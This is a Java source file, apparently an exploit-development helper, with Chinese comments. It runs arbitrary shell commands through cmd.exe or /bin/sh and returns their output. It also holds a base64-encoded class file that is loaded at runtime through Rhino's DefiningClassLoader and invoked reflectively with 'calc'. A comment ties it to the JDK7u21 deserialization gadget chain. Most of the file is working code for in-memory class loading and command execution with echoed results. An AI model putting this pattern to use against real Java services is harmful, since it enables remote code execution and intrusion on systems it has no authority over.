ResultBaseExec.java

import java.io.*;

public class ResultBaseExec {
    public static String do_exec(String cmd) throws Exception {

        String osTyp = System.getProperty("os.name");
        Process p;
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            //执行命令
            p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
        }else{
            //执行命令
            p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});

        }
        InputStream fis=p.getInputStream();
        InputStreamReader isr=new InputStreamReader(fis);
        BufferedReader br=new BufferedReader(isr);
        String line=null;
        String result = "";
        while((line=br.readLine())!=null)
        {
            result = result + line;
        }
        return result;
    }

    public static Object test_code(String cmd) throws Exception {
        //将这个java的class文件base64，生成如下东西
        String R = "yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7";
        sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
        byte[] bt = decoder.decodeBuffer(R);

        org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();
        Class cl = cls.defineClass("ResultBaseExec",bt);

        //这里使用String.class,非数组形式，可能会有问题，比如在改JDK7u21执行代码时候。
//        java.lang.reflect.Method m = cl.getMethod("do_exec",String.class);
//        m.invoke(cl.newInstance(),"calc");

        Object object = cl.newInstance().getClass().getMethod("do_exec", new Class[]{String.class}).invoke(cl.newInstance(),new Object[]{"calc"});
        return object;
    }

    public static void main(final String[] args) throws Exception {
        //do_exec("calc");
        System.out.println(test_code("echo 1111"));
    }
}